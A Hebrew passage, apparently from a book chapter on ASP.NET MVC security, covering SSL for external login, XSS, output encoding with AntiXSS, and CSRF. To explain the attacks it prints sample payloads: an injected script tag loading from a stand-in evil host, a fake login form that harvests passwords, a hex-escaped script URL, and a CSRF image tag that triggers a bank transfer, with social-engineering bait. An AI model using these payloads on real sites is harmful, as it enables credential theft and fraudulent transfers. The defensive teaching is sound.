התוקף יוכל לשבש את כניסת המשתמשים לאתר , המאובטחת בין האתרים שלכם מיורטת

יבה שחשוב להמשיך ולהקפיד על עקרונות אבטחה זו הס. שלכם או לאסוף נתונים עליהם
אבטחת האתר שלכם לעולם תישאר . הולמים גם אם החלטתם להאציל את סמכויות האימות

 .  חיצוניים לביצוע אימות משתמשיםםגם כאשר אתם משתמשים בשירותי, באחריותכם

 ספקי אימות חיצוניים אמינים

והמשמעות היא שעליכם להשתמש , םעליכם לספק תמיכה רק לספקים שאתם בוטחים בה
 . חשיבות הדבר נובעת ממספר סיבות. בשירותיהם של ספקים מוכרים בלבד
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אתם צריכים לדעת , כאשר אתם מפנים את המשתמשים שלכם לאתרים חיצוניים, ראשית
שהם אינם אתרים עוינים או אתרים בעלי מנגנוני הגנה ירודים שעשויים להדליף או לנצל 

 . י החשבון ומידע נוסף אודות המשתמשים שלכםלרעה את פרט

אלא ,  לא רק את מצב ההרשמה שלו-ספקי אימות מעבירים לכם מידע על המשתמש , שנית
, אם המידע הזה שגוי. גם כתובת דואר אלקטרוני ולעתים גם נתונים ייחודיים נוספים שלו

 . יםאתם עלולים לאמת את האדם הלא נכון או להשתמש בפרטי משתמש שגוי

 SSLדרשו כניסת משתמשים באמצעות 

מכילה אסימוני אבטחה  הזו היהפני, כאשר יש קריאה חוזרת מהספק החיצוני אל האתר שלכם
)security tokens(חשוב .  שמאפשרים גישה לאתר שלכם ומכילים מידע על המשתמש

 במהלך כדי למנוע את ירוטו)  מאובטחתHTTPפניית  (HTTPSשהמידע הזה יישלח באמצעות 
 . מסעו בנתיבי האינטרנט

יישומים שתומכים באימות חיצוני , HTTPSכדי לאכוף ביצוע של קריאות מוחזרות באמצעות 
) GETשיטת  (Login לצורך קבלת גישה לשיטה HTTPS-של משתמשים צריכים לחייב שימוש ב

 : RequireHttps באמצעות מאפיין הסימון Accountשל הבקר 
// 

// GET: /Account/Login 

 

[RequireHttps] 

[AllowAnonymous] 

public ActionResult Login(string returnUrl) 

{ 

 ViewBag.ReturnUrl = returnUrl; 

 return View(); 

} 

 במהלך כניסת משתמשים לאתר תגרום שכל הקריאות לספקים חיצוניים HTTPSאכיפת 
 הקריאות המוחזרות לאתר שלכם יבצעו את, בהתאם, והספקים, HTTPSתתבצענה על בסיס 

 . HTTPSבאמצעות 

 מדווח Googleמכיוון ששרת , Google עם אימות HTTPSחשוב במיוחד להשתמש בפרוטוקול 
 בתור שני HTTPS וכניסה נוספת באמצעות HTTPעל משתמש שמבצע כניסה אחת באמצעות 

 . ה הזו באופן גורף תפתור את הסוגיHTTPS-החובה להשתמש ב. משתמשים שונים

  סקירת האיומים על יישומי אינטרנט
 לשליטה בגישה לאזורים MVCפרק זה התמקד עד כה בשימוש באפשרויות האבטחה של 

מפתחים רבים רואים בכך את סיום טווח אחריותם לאבטחת יישומי האינטרנט . השונים באתר
ם הנכונים של הם ווידאו ששמות המשתמש והסיסמאות הנכונים ממופים לחלקי: שהם יוצרים

 . היישום
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כזכור פתחנו פרק זה ברשימת אזהרות מפחידות על האיומים הרבים שעלולים לסכן את האתר 
. ועל אמצעי האבטחה השונים שמטרתם היחידה הינה למנוע שימוש לרעה ביישום, שלכם

 ובפרט לציבור העצום -כאשר יישום הרשת שלכם חשוף לציבור המשתמשים הרחב 
מכיוון שיישומי , בנוסף.  הוא פגיע למגוון התקפות-משתמשי רשת האינטרנט והאנונימי של 

, HTML- וHTTPאינטרנט פועלים על תשתית של פרוטוקולים טקסטואליים סטנדרטיים כגון 
 . הם גם חשופים במיוחד למתקפות אוטומטיות

 את בהמשך הדיון בפרק זה נתעמק בשיטות השונות שבאמצעותן ינסו האקרים לנצל לרעה
 . ונלמד כיצד ניתן להתגונן מפניהן, היישום שלכם

 XSSמתקפת : האיום

סעיף ). XSS) Cross-Site Scriptingמתקפת : תחילה נציג את אחת מהמתקפות הנפוצות ביותר
 . וכיצד תוכלו למנוע אותה, המשמעויות שלה לגביכם, זה יעסוק בסוג זה של מתקפה

 הצגת האיום

גם ,  באחד היישומים שבניתםXSSלשהי בעבר איפשרתם מתקפת ככל הנראה שבנקודת זמן כ
גם אם אתם . אם התמזל מזלכם ושום פורץ לא נכנס מבעד לדלת הפתוחה שהשארתם

, חבל. כנראה שהחמצתם את סגירת הפרצה הזו, מקפידים לאבטח את האתרים שלכם בקנאות
בעיקר בגלל הסיבה ו,  הינה איום האבטחה השכיח ביותר ברשת האינטרנטXSSכי מתקפת 

 . שמפתחי האתרים אינם מודעים לסכנות שלה

שליחה של פקודות תסריט מזיקות על ידי :  יכולה להתבצע בשתי דרכיםXSSמתקפת 
או על ידי הצגת קלט מהמשתמש ישירות בדף , )שאינו נבדק(המשתמש אל אתר שמקבל קלט 

במקרה זה . )passive injection(הזרקה פאסיבית  הראשונה נקראת הטכניקה . ללא בדיקה
והתסריט נשמר בבסיס הנתונים ומוצג , למשל, התוקף מזין ביטויים מזיקים אל תיבת טקסט

במקרה . )active injection(אקטיבית הזרקה הטכניקה השנייה נקראת . במועד מאוחר יותר
תי ש. זה המשתמש מזין ביטויים מזיקים לשדה קלט ואלה מוצגים באופן מיידי על המסך

 . נתחיל בסקירה של הזרקה פאסיבית. הגישות מסוכנות באותה מידה

 הזרקה פאסיבית 

. קוד תסריט לאתר שמקבל קלט מהמשתמש )injecting(הזרקת  מבוצעת על ידי XSSמתקפת 
כפי , שמאפשר למשתמשים להשאיר הערות לפרסומים המועלים בו, דוגמה לכך היא בלוג

 . 7-11שמוצג בתרשים 
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 7-11תרשים 

טפסים מסוג זה . URLהערה וכתובת , כתובת דואר אלקטרוני, שם: הדף כולל ארבעה שדות קלט
הראשונה היא שההאקרים יודעים שהקלט שנמסר בטופס :  משתי סיבותXSSמזמינים מתקפות 

 הוא עניין מורכב ולכן המפתחים URL הם יודעים שקידוד כתובות -והשנייה , יוצג באתר
מכיוון שהם יודעים שבכל מקרה הם יהיו חלק מתגיות , דיקת השדות הללומתרשלים לעתים בב

HTML . 

 שאורבים במרחב הווירטואלי ההאקריםשכל , וכבר הדגשנו זאת מספר פעמים, חשוב לזכור
אבל כדאי לחשוב , אין בכך כדי לטעון שהם חכמים יותר. הם הרבה יותר ערמומיים מכם

 . כדי שתהיה בכך תרומה לחיזוק מערך ההגנה שלכםעליהם ככאלה שממוקדים מאוד בפריצה

סביר להניח ששדה . בתחילה התוקף בודק אם האתר מקודד תווים מסוימים שמוזנים לתוכו
 מהווה מטרה נוחה URLאך במקרים רבים שדה כתובת , וכל הנראה גם שדה השם, ההערה מוגן

 .7-12כדוגמת זו שבתרשים , מהניתן להזין שאילתה תמי, כדי לבדוק אם אכן כך הדבר. להזרקה

 7-12תרשים    

לשדה הכתובת כדי לבדוק ) -קטן מ" (>"אך העובדה היא שהזנו סמל , זו אינה התקפה ישירה
אם נעביר את התגובה . HTMLבקידוד " >"שהוא התו החלופי לסימן , ;lt&אם הוא יומר לקוד 

 ). 7-13תרשים (הכול נראה בסדר , ונתבונן בתוצאה

תו את המכניס ו, ןהאקר מנסה לבדוק אם האתר מבצע בדיקות כלשהה: זאת אחרתנסביר 
אנו . בדיקה היינו אמורים לקבל הודעה שהוכנסו תווים לא חוקייםאם יש , כעת. ">"אסור ה
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אם נבחן את קוד המקור של הדף .  כאלומבצע בדיקותאינו האתר ש 7-13רואים לפי תרשים 
 ...).IFRAME כמו HTMLל לשרשר אלמנטי נוכ(נגלה את פרצת אבטחת המידע 

 7-13תרשים    

ובכל , אבל אנחנו כבר יודעים שבוצעה הזרקה, שום דבר בתצוגה אינו מעיד על ליקוי כלשהו
 שיבחן האקרה!  שהוזנה אינה חוקיתURLזאת לא הופעל כל תהליך אימות שמתריע שכתובת 

כח התפוח המתוק שרק מחכה שיקטפו כעת את תגיות המקור של הדף יחווה פרץ אדרנלין לנו
 : אותו

<a href="No blog! Sorry :<">Bob</a> 

, ההאקרנסו לבחון לרגע את התגית הזו מנקודות מבטו של , אם אינכם מבינים מה הבעיה
נניח למשל שהוזן הקלט . ותבינו כמה הרס שניתן להמיט על האתר שלכם דרך הפרצה הזו

 : הבא
"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/> 

, IFRAMEמוגנת ותאלץ את האתר לטעון את -שורה זו תגרום לסגירת תגית העוגן הבלתי
 . 7-14כמוצג בתרשים 

 

 7-14תרשים 
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מכיוון שמנהלי ,  שבאמת רוצה לפרוץ את האתרהאקרזה אינו המהלך הכי חכם בעולם מצד 
 ממולחים האקריםאם הייתם .  מיד לזהות את הפרצה ולחסום אותה בהקדםהאתר יוכלו

 : סביר להניח שהייתם עושים משהו כזה, אמיתיים

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href=" 

 תגית הזרקת תגית תסריט ולאחר מכן פתיחה של, שורת קלט זו תגרום לסגירת תגית העוגן
תרשים (ולאף אחד לא יהיה מושג קלוש מה קרה , רצף הדף לא ייקָטעַ, בדרך זו. עוגן נוספת

7-15.( 

 

 7-15תרשים 

לא תוכלו לראות את תגיות התסריט המוזרקות גם אם תמקמו את סמן העכבר מעל השם 
ל התסריט המזיק יורץ בכל פעם שמבקר נכנס לאתר ויוכ!  זו תגית עוגן ריקה-שבתגובה 

 . ההאקר למשתמש או שליחת נתונים אל cookieלבצע פעולות מזיקות כגון שליחת קבצי 

 הזרקה אקטיבית 

התוקף שולח מידע מזיק שמוצג בדף באופן מיידי ואינו מאוחסן ,  אקטיביתXSSבהזרקת 
מכיוון שהתוקף לוקח חלק פעיל " אקטיבית"מתקפה מסוג זה נקראת . בבסיס הנתונים

 . ממתין למשתמש חסר מזל שיגיע ויפעיל אותהואינו , במתקפה

כי למה מישהו ירצה להקפיץ התראות , אתם עשויים לתהות מה הטעם במתקפה כזו
JavaScriptאו להפנות את עצמו לאתר עוין בשעה שהוא משתמש באתר שלכם , בדפדפן שלו 

 . אך יש סיבות טובות לעשות זאת, זוהי שאלה לגיטימית. כקיר גרפיטי

רוב מנגנוני . שקיים היום כמעט בכל אתר אינטרנט, חיפוש באתרהוגמה את מנגון קחו לד
הזרקת ' תוצאות תואמות למונח החיפוש Xנמצאו "החיפוש באתר מחזירים הודעה בסגנון 

 . MSDN מוצג דף תוצאות החיפוש באתר 7-16בתרשים ". ' תסריט אקטיבית

התחושה .  להודעה כזוHTMLך קידוד מפתחים רבים מדי אינם טורחים לערו, למרבה הצער
הבעיה מתחילה . אז שייהנו,  עם עצמםXSS-הכללית היא שאם המשתמשים רוצים לשחק ב

דרך תיבת (כאשר תוקף מזין את הטקסט שלהלן לאתר שאינו מוגן מפני הזרקה אקטיבית 
 ). למשל, החיפוש

"<br><br>Please login with the form below before proceeding: 

<form action="mybadsite.aspx"><table><tr><td>Login:</td><td> 

<input type=text length=20 name=login></td></tr> 

<tr><td>Password:</td><td><input type=text length=20 name=password> 

</td></tr></table><input type=submit value=LOGIN></form>" 
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 7-16תרשים 

אשר ניתן לעריכה בצורות שונות שיכולות לגרום לנזק רב בדף תוצאות (הקוד הקצר הזה קטע 
אשר שולח את , תגרום למעשה להפקת טופס כניסה לחשבון בדף החיפוש שלכם, )החיפוש

אתם יכולים לבקר באתר שממחיש את הפגיעות הזו .  חיצוניתURLהנתונים המוזנים לכתובת 
 במטרה להמחיש את אופן הפעולה של מתקפת Acunetixל הוא נבנה על ידי המפתחים ש(

יוצג בחלון הדפדפן שלכם , ואם תזינו את הביטוי שלעיל לשדה החיפוש, )הזרקה אקטיבית
 . 7-17המסך שבתרשים 

 

 7-17תרשים 

 ובהגדרות התצוגה של האתר היינו יכולים ליצור עותק CSSעם קצת יותר השקעה בגיליון 
משתמשים שיפלו בפח עלולים . ל הפשוט הזה יכול להיות מטעה ביותראבל גם התרגי, מדויק

התקפות כאלו מתבססות על עקרונות מוכרים של  !להעביר לתוקף את פרטי החשבון שלהם
 : פסיכולוגיה חברתית

אתה  -הגנתי עליהן כדי שתוצגנה כפרטיות ! מצאתי אתר עם תמונות עירום שלך"
 ..."חייב להיכנס לחשבון שלך
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 :עה יצורף הקישור הבאלהוד

<a href="http://testasp.acunetix.com/Search.asp?tfSearch= <br><br>Please login 

with the form below before proceeding:<form action="mybadsite.aspx"><table> 

<tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr> 

<td>Password:</td><td><input type=text length=20 name=password></td></tr> 

</table><input type=submit value=LOGIN></form>">look at this cool site with 

naked pictures</a> 

 . אנשים רבים נופלים קורבן לתחבולות מסוג זה מדי יום, תאמינו או לא

 XSSמניעת מתקפות 

 .  שלכםMVC על יישומי XSSנציג את הדרכים השונות להדוף מתקפות בסעיף זה 

  של כל התכנים HTMLהקפידו על קידוד 

קידוד זה הינו תהליך . HTML על ידי שימוש בקידוד XSSברוב המקרים ניתן למנוע מתקפת 
ביישומי . בקודים) > או <כגון  (HTMLשבמסגרתו מוחלפים כל התווים השמורים של שפת 

MVCהפעלת השיטהאת בצורה פשוטה מאוד על ידי יתן לעשות ז נ Html.Encode או 
Html.AttributeEncode מאפייני  ם שלערכיה עלHTML. 

כל סיבית של קלט שמוצגת : חשוב שתזכרו לפחות דבר אחד בלבד מכל הדיון בפרק זה
 הודגש עניין זה כבר. HTML או קידוד מאפייני HTMLביישום שלכם חייבת לעבור קידוד 

 . היא החברה הטובה ביותר שלכםHtml.Encode השיטה: נחזור על זה שובאבל , בתחילת הפרק

 -ב אתם חייבים להשתמש Web Formsתצוגות שמשתמשים בהן במנוע התצוגה ב הערה
Html.Encodeבאמצעות תחביר .  להצגת המידעHTML Encoding Code Block של ASP.NET 4 

 : במקום לכתוב. בהניתן לעשות זאת בקלות ר
<% Html.Encode(Model.FirstName) %> 

  : בקצרהלכתוב יכולים אתם
<%: Model.FirstName %> 

ולכן ,  על פי ברירת מחדלHTML מעביר את הקלט דרך מנגנון קידוד Razorמנוע התצוגה 
 מאפיין המודל הזה 

@Model.FirstName 

 . לה נוספת מצדכםללא שום פעו,  באופן אוטומטיHTMLיעבור קידוד 

, מכם(או שהם מגיעים ממקור בטוח " חיטוי"אם אתם בטוחים לחלוטין שהנתונים כבר עברו 
 : כדי להעביר את הנתונים לפלט כפי שהםHTMLתוכלו להשתמש בסייע , )למשל

@Html.Raw(Model.HtmlContent) 

תמצאו , HTML Encoding Code Blocks ובתחביר Html.Encode בשיטהשימוש המידע נוסף על 
 . 3בפרק 
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Html.AttributeEncodeו - Url.Encode 

אולם חשוב לא פחות להגן ,  של הדףHTMLברוב הזמן תשומת ליבנו מופנית בעיקר לתצוגת 
בדוגמה שהצגנו קודם .  שלכםHTMLגם על שאר המאפיינים שנקבעים באופן דינמי בדפי 

. של מחבר התגובה על ידי הזרקת קוד עוין URLראינו כיצד ניתן לנצל לרעה את שדה כתובת 
 : תגית העוגן שהוצאה לפלט נראתה כך, ההונאה התאפשרה מכיוון שבאתר שבדוגמה

<a href="<%=Url.Action(AuthorUrl)%>"><%=AuthorUrl%></a> 

בתהליך זה מוחלפים . עליכם לקודד את הכתובת,  את הקישור הזה)sanitize" (לחטא"כדי 
 ). %20מוחלף על ידי " " , לדוגמה( בתווים חלופיים URLשנמצאים בכתובת תווים שמורים 

 על סמך קלט מהמשתמש בדף URLתרחיש אפשרי נוסף הוא העברה של ערך באמצעות 
 :כלשהו באתר

<a href="<%=Url.Action("index","home",new {name=ViewData["name"]})%>">Click here</a> 

 :תוך ערך השם את השורה הבאהמשתמש עוין יוכל להציב ב

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href=" 

תוכלו למנוע זאת על ידי . לאחר מכן הוא יוכל להעביר את הקישור למשתמשים תמימים
 :Html.AttributeEncode או Url.Encodeקידוד באמצעות 

<a href="<%=Url.Action("index","home",new 

{name=Html.AttributeEncode(ViewData["name"])})%>">Click here</a> 

 :או
<a href="<%=Url.Encode(Url.Action("index","home", 

new {name=ViewData["name"]}))%>">Click here</a> 

על ש שימול שנגיש לשינוי או  כלשהובשום פנים ואופן אסור לכם לבטוח בנתון: הבה נסכם
 או מידע אישי שהתקבל cookiesקבצי , URLכתובת , ערכי טופס: בכלל זה. מישהו ידי

גם על בסיסי הנתונים או השירותים שמשמשים את האתר . OpenIDממקורות חיצוניים כגון 
עליכם להתייחס לכל קלט שמגיע לאתר שלכם . שלכם אינכם יכולים לסמוך בעיניים עצומות

 .ם לקודד כל מה שאפשרולכן עליכ, כחשוד

  JavaScriptקידוד 

נציג .  של כל תכני היישום שלנוHTMLאיננו יכולים להסתפק בקידוד , למרות האמור לעיל
 .JavaScript אינו מונע הרצה של HTMLלדוגמה מתקפה פשוטה שמבוססת על העובדה שקידוד 

ינטרנט הסטנדרטית  שבתבנית האHomeControllerתם את בקר ינניח ששינ, בתרחיש שלהלן
 כדי להציג ברכה ViewBagכדי שיקבל שם משתמש כפרמטר ויוסיף אותו למאפיין , MVC 4של 

 : למשתמש
public ActionResult Index(string UserName) 

{ 

 ViewBag.UserName = UserName; 

 return View(); 

} 
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פשה באמצעות קוד ולכן הוספתם לה הנ, נניח שהבוס שלכם גם ביקש להדגיש את הברכה
jQuery הקוד מוצג בקטע הכותרת של התצוגה . שלהלן/Home/Index.cshtml . 

@{ 

 ViewBag.Title = "Home Page"; 

} 

@section featured { 

 <section class="featured"> 

  <div class="content-wrapper"> 

   <hgroup class="title"> 

    <h1>@ViewBag.Title.</h1> 

    <h2 id="welcome-message"></h2> 

   </hgroup> 

  </div> 

 </section> 

} 

 

@section scripts { 

 @if(ViewBag.UserName != null) { 

 <script type="text/javascript"> 

  $(function () { 

   var msg = 'Welcome, @ViewBag.UserName!'; 

   $("#welcome-message").html(msg).hide().show('slow'); 

  }); 

 </script> 

 } 

} 

 - HTML בתהליך קידוד ViewBagומכיוון שהקפדתם להעביר את הערך , התצוגה נראית טוב
 שלהלן תחדור את מערך ההגנה URLכתובת . התשובה היא לא, ובכן? נכון, אתם לגמרי מוגנים

 ). 7-18ראו תרשים (שלכם ללא התנגדות 

http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/ 

script\x3e 

עובדה זו אפשרה לתוקף . JavaScriptאך לא בוצע קידוד , HTMLאומנם בוצע קידוד ? מה קרה
 DOM) Document Object אשר הוספה למבנה JavaScriptלשלב קלט של המשתמש למחרוזת 

Model .( השתמש בקודי  יכולים לההאקריםבצורה זוhex escape) להחדרת כל ) תוצר הקידוד
 לא יסתפקו בהצגת התראת שההאקריםחשוב להבין , כמו תמיד.  שירצוJavaScriptקוד 

JavaScript של מידע על המשתמשים כמו גניבה ,  הם עלולים לעשות משהו מרושע- בלבד
 . במערכת שלכם או להפנות משתמשים אל דפי אינטרנט אחרים
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 7-18תרשים 

 Ajax.JavaScriptStringEncodeהפתרון הפשוט הוא שימוש בסייע . יש שני פתרונות לבעיה זו
 עבור Html.Encode-לשימוש בדומה ב, JavaScriptקוד כלולות בשכדי לקודד את המחרוזות 

 . AntiXSSפתרון יסודי יותר מספקת לנו הספרייה . HTMLמחרוזות 

 ASP.NETבתור מקודד ברירת המחדל של  AntiXSSשימוש בספרייה 

יש מספר . ASP.NET מספקת כלים עבור שכבה נוספת של אבטחה ליישום AntiXSSהספרייה 
אשר החשובים , MVC ושל ASP.NETהבדלים חשובים בינה לבין פונקציות הקידוד של 

 : מביניהם מפורטים להלן

. ASP.NET 4חדל נוספה לגרסת   נקודות ההרחבה שמאפשרת לעקוף את מקודד ברירת המהערה
 וגרסאותיה NET 4ת על ת מושתMVC 4בגרסה זו אפשרות העקיפה זמינה תמיד מכיוון שתשתית 

לא ניתן  NET 3.5 אשר מבוססות על MVCבגרסאות מיושנות יותר של , עם זאת. המתקדמות
 . לעקוף את מקודד ברירת המחדל

  ספרייתAntiXSSמשתמשת ב -whitelistבעוד שקידוד ברירת המחדל , ים מותרים של תוו
מכיוון שהיא מאפשרת אך .  מוגבלת של תווים אסוריםblacklist מבוסס על ASP.NETשל 

 מספקת אבטחה טובה יותר לעומת מסנן שרק חוסם קלט AntiXSS, ורק קלט בטוח מוכר
 . שחשוד כמסוכן

  ספרייתAntiXSSד שהקידוד של בעו,  מתמקדת במניעת פרצות אבטחה ביישום שלכם
ASP.NET מתמקד בעיקר במניעת בעיות תצוגה כתוצאה מתגיות HTML" שבורות ." 
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 . NuGet של AntiXSSעליכם להתקין את חבילת התוכנה , AntiXSSכדי להשתמש בספריית 

Install-Package AntiXSS 

היה עליכם לכתוב מחלקה חדשה שיורשת , AntiXSS 4.1 -בגרסאות קודמות ל הערה
בקריאות למחלקת  Html.Encode ולהחליף את הקריאות לסייע HttpEncoderלקה מהמח

HttpEncoderעם .  החדשה שיצרתםAntiXSS 4.1 ,מכיוון שמחלקת , אינכם צריכים לעשות זאת
 . הקידוד כבר כלולה בספרייה

תשתמשו בסימון כש או Html.Encode לשיטה קראובכל פעם שת, לאחר התקנת התוכנה
 תקודד את הטקסט AntiXSSספריית , HTML Encoding Code Blockתחביר  של <%:%>
 .  באופן משולבJavaScript ובתסריט HTMLותטפל בתגיות , במלואו

. JavaScript לביצוע קידוד מתקדם של מחרוזות AntiXSSתוכלו להשתמש במקודד של , בנוסף
על הסייע  זו תוכלו למנוע מספר מתקפות מחוכמות שעשויות להערים בדרך

Ajax.JavaScriptStringEncode .תחילה עליכם להוסיף . הקוד שלהלן ממחיש כיצד הדבר נעשה
ולאחר מכן ,  בטווח ההכרהAntiXSSכדי לכלול את מרחב השמות של מקודד  using@משפט 
 . Encoder.JavaScriptEncodeלהשתמש בסייע תוכלו 

@using Microsoft.Security.Application 

 

@{ 

 ViewBag.Title = "Home Page"; 

} 

@section featured { 

 <section class="featured"> 

  <div class="content-wrapper"> 

   <hgroup class="title"> 

    <h1>@ViewBag.Title.</h1> 

    <h2 id="welcome-message"></h2> 

   </hgroup> 

  </div> 

 </section> 

} 

 

@section scripts { 

 @if(ViewBag.UserName != null) { 

 <script type="text/javascript"> 

  $(function () { 

   var msg = 'Welcome, @Encoder.JavaScriptEncode(ViewBag.UserName, false)!'; 

   $("#welcome-message").html(msg).hide().show('slow'); 

  }); 

 </script> 

 } 

} 
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כמוצג בתרשים , עודכן תוכלו לראות שהפעם ההתקפה הקודמת נכשלתלאחר הרצת הקוד המ
7-19 . 

 

 7-19תרשים 

 CSRFמתקפת : האיום

ומוצג לעתים בצורה , C-surfמבוטא , cross-site request forgery) CSRFההשלכות של מתקפת 
XSRF ( עשויות במקרים מסוימים להיות משמעותיות יותר ממתקפתXSS הפשוטה שתיארנו 

ונציג טכניקות , מהן ההשלכות לגביכם, CSRFבסעיף זה נסביר מהי מתקפת . עיף הקודםבס
 . למניעתה

 הצגת האיום

 בשילוב עם XSSמתקפת : עלינו לפרק אותה לרכיביה, CSRFכדי להבין באמת מהי מתקפת 
confused deputy . במתקפת עסקנוכבר XSS , אך המונחconfused deputy) סגן מבולבל( 

 : באופן הבא confused deputyויקיפדיה מגדירה מתקפת . מחייב הסברו, חדש

מתייחס לתוכנת מחשב שכתוצאה מהונאה על ידי צד שלישי  confused deputyהמונח 
 .)הרשאות(ת הסלמת סמכויומדובר במקרה פרטי של .  לרעה בסמכות שלהמשתמשת

 )http://en.wikipedia.org/wiki/Confused_deputy_problemמתורגם מתוך (

והתוקף גורם לו במרמה לנצל לרעה את ,  הוא הדפדפן שלכםdeputy-ה, במקרה שלנו
בנינו דוגמה , כדי להמחיש זאת. הסמכות שלו לייצג את המשתמש בפני אתר אינטרנט מרוחק

 . אך מתקפה שכזו עשויה להיות מציקה, קצת משעשעת

התנתק ולעשות בו פעולות נניח שיצרתם אתר נחמד שמאפשר למשתמשים להתחבר ול
ונניח שהחלטתם לא להסתבך יותר מדי ולכלול , Account נמצאת בבקר Loginהפעולה . שונות
 : Logout גם את הפעולה Accountבבקר 
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public ActionResult Logout() { 

 FormsAuth.SignOut(); 

 return RedirectToAction("Index", "Home"); 

} 

רשימה של ( מוגבלת whitelist על פי HTMLמאפשר להזין תגיות הבה נניח שהאתר שלכם 
כחלק ממערכת תגובות , )תגיות או תווים מותרים אשר אילולא הרשימה היו מקודדים

אך נניח שהחלטתם לאפשר , טוהרוי HTMLרוב התגיות ). כמקובל באתרי פורומים ובבלוגים(
 .  לפרסם צילומי מסכיםהעלאת תמונות מכיוון שאתם רוצים לתת למשתמשים שלכם

 : משתמש חביב מוסיף להערה שלו את תגית התמונה הבעייתית במקצת שלהלן, יום אחד

<img src="/account/logout" /> 

למרות שכלל לא מדובר (הזו " תמונה"תועבר בקשה ל, בכל פעם שמישהו יבקר בדף הזה, כעת
אך דוגמה , CSRF בהכרח מתקפת זו אינה, כאמור. והמשתמש ינותק מהאתר, )כמובן, בתמונה

 GETזו ממחישה כיצד ניתן להשתמש בתחבולות פשוטות כדי לגרום לכם לשלוח בקשות 
,  כדי לקבל תמונהGETהדפדפן שלח בקשת , במקרה הזה. לאתר שרירותי מבלי שתדעו על זה

. םשלכ) cookie( שגרמה למחיקת העוגייה logoutובמקום זאת הוא קרא לפפונקציה , כביכול
 . confused deputy -והרי לכם 

, כאשר אתם מתחברים לאתר. אופן הפעולה של הדפדפן הוא שאיפשר את הצלחת המתקפה
או , )session cookie(בזיכרון אשר עשויה להימצא , עוגייהמאוחסן בדפדפן בתור המידע 

רת לדפדפן העוגייה מאפש, בכל מקרה). persistent cookie(להישמר בקובץ לטווח ארוך יותר 
 . להודיע לאתר שהבקשה אכן מועברת על ידי המשתמש שבשמו היא מבוצעת

 confused deputy בשילוב XSS היכולת להשתמש במתקפת - CSRFזה הרעיון המרכזי מאחורי 
למרבה . כדי לתקוף את אחד המשתמשים שלכם) כתמיד, וקורט של פסיכולוגיה חברתית(

נציג כמה  (CSRFאמצעי הגנה הולמים נגד מתקפות אתרים רבים אינם נוקטים ב, הצער
 ). מהאתרים האלה מיד

הבה נמשיך לדוגמה שממחישה בצורה מדויקת יותר כיצד , לאחר הבנת העיקרון הבסיסי
ונראה , נחבוש כעת את כובעי ההאקרים השחורים שלנו.  בעולם האמיתיCSRFנראית מתקפת 

לתי מאובטחים שפתוחים לציבור רחב מאוד כיצד לזרוע הרס במסענו דרך אתרי אינטרנט ב
 .אתר-מגהלא נשתמש כאן בשם אתר אמיתי כלשהו אלא בשם הבדוי . של גולשים

תמיד יש דרכים לשפר את . אתר היא משחק של סיכויים-ראשית נציין שתקיפת משתמשי מגה
ון אך בכל מקרה הסיכויים הינם לטובתנו מכיו, ונדון בהן מיד בהרחבה, הסיכויים הללו

 .  מיליון בקשות מדי יום50-אתר מקבל למעלה מ-שמגה

אתר על ידי - עלינו למצוא דרכים לנצל את פרצות האבטחה של מגה- משחקהבה נתחיל ב
יצרנו , לאחר שיטוט ברשת האינטרנט כדי לאסוף מודיעין. החדרת הערות מקושרות לאתר

העברות כספים ותשלום אשר מאפשרים ביצוע של כלשהם -בנקים גדולים אתרירשימה של 
חקרנו כיצד מתבצעות העברות הכספים על ידי אתרי הבנקאות . חשבונות דרך האינטרנט
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 ההעברה ניתנת לזיהוי בכתובת -ובאחד מהם גילינו פרי בשל שרק מחכה להיקטף , הללו
URL : 

http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber= 

23234554333&from=checking 

למרבה הצער ". ?איזה בנק יעשה דבר כזה, נו באמת", בשלב זה אתם עשויים לחשוב לעצמכם
מפתחי תוכנות באינטרנט : והסיבה לכך היא די פשוטה, "יותר מדי"התשובה לשאלתכם היא 

ת את  שלעיל מבוצעת לאור הידיעה שהשרת יאמURLובקשת , סומכים יותר מדי על הדפדפן
זו לא בהכרח הנחה . )session cookie(סמך מידע שמוכל בעוגייה והחשבון על זהות המשתמש 

כי המידע בעוגייה הוא שחוסך מאיתנו את הצורך לבדוק את נתוני המשתמש עם כל , מוטעית
 !משהוהדפדפן הרי חייב לזכור ! בקשה של הדף

ן עלינו להשתמש בפסיכולוגיה וכדי לעבור אות, נותרו בפנינו עוד מספר דלתות נעולות
אתר ונזין את -נתחבר אל מגה.  המצויההאקרלשם כך נצלול עמוק יותר לעולמו של . חברתית

 :הערה הבאה לאחד מהדפים הראשיים שלו

? 30כלשהו הוא -האם ידעתם שסכום מספרי החשבון של כל לקוחות בנק גדול. שלום"
 ."http://www.widelyusedbank.example.com:  בעצמכםתוכלו לבדוק! זה נכון

כדי להשאיר תגובה תחת , אתר ונתחבר שוב באמצעות חשבון מזויף נוסף-כעת נתנתק ממגה
 : שם אחר להודעה המקורית של המשתמש המזויף הראשון

!"איזה קטע! אתה צודק, ואללה  <img src =" 

http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber

=23234554333&from=checking" />. 

וזוג הגרשיים הבאים . הגרשיים הראשונים משמאל יודפסו כפי שהם, בקטע קוד זה: הבהרה(
  ).img של srcמאפיין תוחמים את ערך 

כלשהו להתחבר לחשבון שלהם כדי לחבר -אנחנו מנסים לגרום ללקוחות בנק גדול, למעשה
אתר כדי -הם יחזרו למגה, כאשר יראו שזה לא מצליח. חשבון שלהםאת הספרות של מספר ה
 ).או שישאירו הערה משלהם כדי להגיד שזה לא פועל(לקרוא את ההערה שוב 

 הוא -החיבור שלו לחשבון עדיין שמור בזיכרון הדפדפן , הקורבן המושלםלרוע מזלו של 
תישלח בקשה , CSRFת כאשר ינחת בדף שעליו בוצעה מתקפ! עדיין מחובר לחשבון שלו

ולקורבן , )אשר אינו טורח לוודא שהיא אכן נשלחה על ידי המשתמש(לאתר של הבנק 
 . המושלם שלנו תחכה הפתעה מאוד לא נעימה בפעם הבאה שיבדוק את היתרה בחשבון שלו

רוב האנשים יחשבו . תוצג בתור איקס אדום שבור) CSRFעם קישור (התמונה שהוספה להערה 
כאשר בפועל מדובר בקריאה מרוחקת לדף ,  פרופיל או תרשים משובשיםשזו תמונת

 מסתיימת confused deputy -מתקפת ה.  כדי להריץ פעולה על השרתGETשמשתמש בבקשת 
